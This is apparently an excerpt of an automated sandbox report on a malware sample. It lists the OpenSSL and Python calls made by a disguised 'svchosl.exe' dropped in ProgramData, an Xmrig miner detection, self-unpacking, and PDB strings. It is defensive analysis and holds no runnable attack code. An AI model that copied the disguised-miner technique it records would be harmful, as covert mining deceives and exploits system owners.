Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802A940 X509_get0_pubkey,CRYPTO_malloc,RAND_bytes,EVP_PKEY_CTX_new,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_PKEY_CTX_free,	16_2_00007FF8B802A940
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80189D0 EVP_MD_size,EVP_MD_CTX_new,EVP_DigestInit_ex,EVP_DigestFinal_ex,EVP_DigestInit_ex,BIO_ctrl,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_PKEY_new_raw_private_key,EVP_DigestSignInit,EVP_DigestUpdate,EVP_DigestSignFinal,CRYPTO_memcmp,OPENSSL_cleanse,OPENSSL_cleanse,EVP_PKEY_free,EVP_MD_CTX_free,	16_2_00007FF8B80189D0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1B54 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	16_2_00007FF8B7FE1B54
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802CA20 CRYPTO_free,CRYPTO_free,	16_2_00007FF8B802CA20
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFEA40 CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_value,EVP_CIPHER_flags,EVP_get_cipherbyname,EVP_get_cipherbyname,EVP_get_cipherbyname,EVP_get_cipherbyname,EVP_get_cipherbyname,	16_2_00007FF8B7FFEA40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8026A70 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8026A70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2063 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,memset,	16_2_00007FF8B7FE2063
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801EA60 CRYPTO_realloc,	16_2_00007FF8B801EA60
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE23D3 CRYPTO_free,CRYPTO_malloc,memcmp,CRYPTO_memdup,	16_2_00007FF8B7FE23D3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEEA80 EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp,	16_2_00007FF8B7FEEA80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8014AD0 CRYPTO_malloc,CRYPTO_THREAD_lock_new,CRYPTO_new_ex_data,X509_up_ref,X509_chain_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,CRYPTO_strdup,CRYPTO_memdup,ERR_put_error,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,	16_2_00007FF8B8014AD0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE24BE CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE24BE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8040AF0 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B8040AF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE8AF0 CRYPTO_free,	16_2_00007FF8B7FE8AF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF6B53 CRYPTO_free,CRYPTO_strdup,ERR_put_error,ERR_put_error,	16_2_00007FF8B7FF6B53
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803CBB0 OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,memcmp,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,CRYPTO_memcmp,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B803CBB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1848 CRYPTO_zalloc,CRYPTO_free,	16_2_00007FF8B7FE1848
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8012BA0 CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,	16_2_00007FF8B8012BA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1253 CRYPTO_free,	16_2_00007FF8B7FE1253
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016C50 CRYPTO_free,	16_2_00007FF8B8016C50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE23C4 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE23C4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF6C53 ERR_put_error,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FF6C53
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803EC80 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,	16_2_00007FF8B803EC80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B801ECA0 CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B801ECA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802ACC0 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B802ACC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016CF0 CRYPTO_free,CRYPTO_free,	16_2_00007FF8B8016CF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE212B EVP_MD_CTX_new,EVP_MD_CTX_copy_ex,CRYPTO_memcmp,memcpy,memcpy,	16_2_00007FF8B7FE212B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE191A ERR_put_error,memcpy,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,OPENSSL_sk_value,CRYPTO_dup_ex_data,BIO_ctrl,BIO_ctrl,BIO_up_ref,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	16_2_00007FF8B7FE191A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE179E CRYPTO_free,	16_2_00007FF8B7FE179E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8026D00 CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B8026D00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE18B6 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,memset,	16_2_00007FF8B7FE18B6
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800CD70 CRYPTO_malloc,CRYPTO_clear_free,	16_2_00007FF8B800CD70
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8008D80 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	16_2_00007FF8B8008D80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2301 CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE2301
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8032DB0 CRYPTO_malloc,memcpy,	16_2_00007FF8B8032DB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1028 EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_new,RSA_pkey_ctx_ctrl,CRYPTO_free,EVP_MD_CTX_free,EVP_MD_CTX_free,	16_2_00007FF8B7FE1028
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE8E00 CRYPTO_malloc,ERR_put_error,	16_2_00007FF8B7FE8E00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016E40 CRYPTO_free,	16_2_00007FF8B8016E40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B804AE40 memset,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_put_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,memset,	16_2_00007FF8B804AE40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE141F EVP_PKEY_get1_tls_encodedpoint,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	16_2_00007FF8B7FE141F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016EB0 CRYPTO_free,	16_2_00007FF8B8016EB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803AEB0 CRYPTO_memcmp,	16_2_00007FF8B803AEB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8030F00 CRYPTO_free,	16_2_00007FF8B8030F00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE18C0 ERR_put_error,CRYPTO_free,CRYPTO_strdup,	16_2_00007FF8B7FE18C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8046F30 CRYPTO_free,CRYPTO_malloc,ERR_put_error,	16_2_00007FF8B8046F30
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE242D CRYPTO_free,CRYPTO_memdup,ERR_put_error,	16_2_00007FF8B7FE242D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1A05 EVP_MD_size,EVP_CIPHER_iv_length,EVP_CIPHER_key_length,CRYPTO_clear_free,CRYPTO_malloc,	16_2_00007FF8B7FE1A05
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803EF80 EVP_PKEY_get0_RSA,RSA_size,RSA_size,CRYPTO_malloc,RAND_priv_bytes,CRYPTO_free,	16_2_00007FF8B803EF80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8002FD0 ERR_put_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	16_2_00007FF8B8002FD0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8008FE0 ERR_put_error,ERR_put_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_put_error,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,	16_2_00007FF8B8008FE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE9020 CRYPTO_zalloc,ERR_put_error,	16_2_00007FF8B7FE9020
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2275 CRYPTO_free,	16_2_00007FF8B7FE2275
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF9040 ERR_put_error,ASN1_item_free,memcpy,_time64,X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ASN1_item_free,	16_2_00007FF8B7FF9040
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2496 CRYPTO_free,CRYPTO_malloc,memcpy,	16_2_00007FF8B7FE2496
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1ACD CRYPTO_zalloc,ERR_put_error,_time64,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	16_2_00007FF8B7FE1ACD
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800F0E0 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	16_2_00007FF8B800F0E0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1B9F CRYPTO_free,CRYPTO_malloc,	16_2_00007FF8B7FE1B9F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8032110 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,memcpy,memcpy,	16_2_00007FF8B8032110
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE20FB CRYPTO_malloc,	16_2_00007FF8B7FE20FB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1EA1 CRYPTO_strdup,CRYPTO_free,	16_2_00007FF8B7FE1EA1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1E97 memchr,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,CRYPTO_memcmp,	16_2_00007FF8B7FE1E97
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE19E7 CRYPTO_malloc,ERR_put_error,CRYPTO_free,	16_2_00007FF8B7FE19E7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802A190 EVP_DigestUpdate,EVP_MD_CTX_free,EVP_PKEY_CTX_free,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free,	16_2_00007FF8B802A190
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80281AE CRYPTO_free,CRYPTO_free,	16_2_00007FF8B80281AE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2130 ERR_put_error,CRYPTO_realloc,CRYPTO_realloc,ERR_put_error,	16_2_00007FF8B7FE2130
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE19B5 CRYPTO_malloc,	16_2_00007FF8B7FE19B5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1C1C EVP_CIPHER_key_length,EVP_CIPHER_iv_length,CRYPTO_malloc,	16_2_00007FF8B7FE1C1C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800C290 CRYPTO_free,CRYPTO_free,	16_2_00007FF8B800C290
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2239 BIO_s_file,BIO_new,BIO_ctrl,strncmp,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	16_2_00007FF8B7FE2239
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800C380 ERR_put_error,CRYPTO_realloc,CRYPTO_realloc,ERR_put_error,	16_2_00007FF8B800C380
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80463A0 CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B80463A0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE150F CRYPTO_free,	16_2_00007FF8B7FE150F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1357 memcmp,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,CRYPTO_free,memcmp,memcmp,memcpy,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE1357
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE18CA CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	16_2_00007FF8B7FE18CA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE4407 CRYPTO_zalloc,ERR_put_error,BIO_set_init,BIO_set_data,BIO_clear_flags,	16_2_00007FF8B7FE4407
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF8430 CRYPTO_malloc,memset,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,OPENSSL_cleanse,	16_2_00007FF8B7FF8430
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE24F5 CRYPTO_free,	16_2_00007FF8B7FE24F5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80044C0 X509_VERIFY_PARAM_free,CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,ENGINE_finish,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	16_2_00007FF8B80044C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1EEC EVP_MD_CTX_new,X509_get0_pubkey,EVP_PKEY_id,EVP_PKEY_id,EVP_PKEY_id,EVP_PKEY_size,EVP_DigestVerifyInit,EVP_PKEY_id,CRYPTO_malloc,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,EVP_DigestUpdate,EVP_MD_CTX_ctrl,EVP_DigestVerify,BIO_free,EVP_MD_CTX_free,CRYPTO_free,	16_2_00007FF8B7FE1EEC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFA530 CRYPTO_THREAD_run_once,	16_2_00007FF8B7FFA530
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1230 memcpy,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,memcmp,_time64,	16_2_00007FF8B7FE1230
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B800C540 ERR_put_error,ERR_put_error,ERR_put_error,EVP_MD_size,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_malloc,ERR_put_error,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,ERR_put_error,EVP_PKEY_free,X509_get0_pubkey,X509_free,OPENSSL_sk_push,ERR_put_error,X509_free,ERR_put_error,	16_2_00007FF8B800C540
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE8560 CRYPTO_zalloc,ERR_put_error,	16_2_00007FF8B7FE8560
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B802A5D0 memset,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	16_2_00007FF8B802A5D0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE8610 CRYPTO_zalloc,ERR_put_error,BUF_MEM_grow,	16_2_00007FF8B7FE8610
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE4630 BIO_get_data,BIO_get_shutdown,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,	16_2_00007FF8B7FE4630
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8012620 CRYPTO_THREAD_write_lock,OPENSSL_LH_insert,OPENSSL_LH_retrieve,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	16_2_00007FF8B8012620
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1F82 CRYPTO_free,BIO_clear_flags,BIO_set_flags,BIO_snprintf,ERR_add_error_data,memcpy,	16_2_00007FF8B7FE1F82
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1FA0 BN_bin2bn,BN_is_zero,CRYPTO_free,CRYPTO_strdup,CRYPTO_clear_free,	16_2_00007FF8B7FE1FA0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE22C5 ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE22C5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE17B2 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	16_2_00007FF8B7FE17B2
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFC710 CRYPTO_get_ex_new_index,	16_2_00007FF8B7FFC710
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016700 CRYPTO_free,	16_2_00007FF8B8016700
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE184D CRYPTO_free,	16_2_00007FF8B7FE184D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8030740 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B8030740
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8016770 CRYPTO_free,CRYPTO_strdup,CRYPTO_free,	16_2_00007FF8B8016770
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFC770 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FFC770
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1726 CRYPTO_free,CRYPTO_strndup,	16_2_00007FF8B7FE1726
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80307E0 CRYPTO_malloc,ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_zalloc,ERR_put_error,CRYPTO_free,	16_2_00007FF8B80307E0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1D9D CONF_parse_list,ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,	16_2_00007FF8B7FE1D9D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE252C CRYPTO_malloc,ERR_put_error,BIO_snprintf,	16_2_00007FF8B7FE252C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1B40 CRYPTO_THREAD_write_lock,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,	16_2_00007FF8B7FE1B40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C526C i2d_X509,PyBytes_FromStringAndSize,CRYPTO_free,	16_2_00007FF8B93C526C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C54E0 ASN1_STRING_to_UTF8,_Py_BuildValue_SizeT,CRYPTO_free,	16_2_00007FF8B93C54E0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9842440 _Py_NoneStruct,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,EVP_PBE_scrypt,PyBytes_FromStringAndSize,PyEval_SaveThread,EVP_PBE_scrypt,PyEval_RestoreThread,PyExc_ValueError,PyErr_SetString,PyExc_ValueError,PyErr_SetString,PyExc_TypeError,PyErr_SetString,PyErr_Occurred,PyExc_TypeError,PyErr_SetString,PyErr_Occurred,PyExc_TypeError,PyErr_SetString,PyErr_Occurred,PyExc_TypeError,PyErr_SetString,PyExc_ValueError,PyErr_Format,PyExc_ValueError,PyErr_Format,PyExc_OverflowError,PyErr_SetString,_Py_Dealloc,PyExc_ValueError,	16_2_00007FF8B9842440

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: dump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 123.exe, 00000003.00000000.2346718297.0000000000EE3000.00000002.00000001.01000000.00000008.sdmp, 123.exe, 00000003.00000002.2356568322.0000000000EE3000.00000002.00000001.01000000.00000008.sdmp, mig.exe, 0000005D.00000002.2807847716.0000000000423000.00000002.00000001.01000000.00000019.sdmp, mig.exe, 0000005D.00000000.2686679060.0000000000423000.00000002.00000001.01000000.00000019.sdmp, mig.exe.0.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285416095.00007FF8B9F6E000.00000002.00000001.01000000.00000013.sdmp, _bz2.pyd.14.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3284341028.00007FF8B9094000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286403821.00007FF8BA51E000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ssl.pdb source: svchosl.exe, 00000010.00000002.3284663597.00007FF8B93CD000.00000002.00000001.01000000.00000017.sdmp, _ssl.pyd.14.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285714483.00007FF8BA249000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3285071788.00007FF8B9845000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\6\b\libssl-1_1.pdb?? source: svchosl.exe, 00000010.00000002.3283717281.00007FF8B8053000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: _.pdb source: file.exe, 00000000.00000002.3280551668.000000000485F000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.3280253389.000000000464C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2079601696.0000000006DBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2080087221.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2079861670.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .PdB] source: svchosl.exe.3.dr
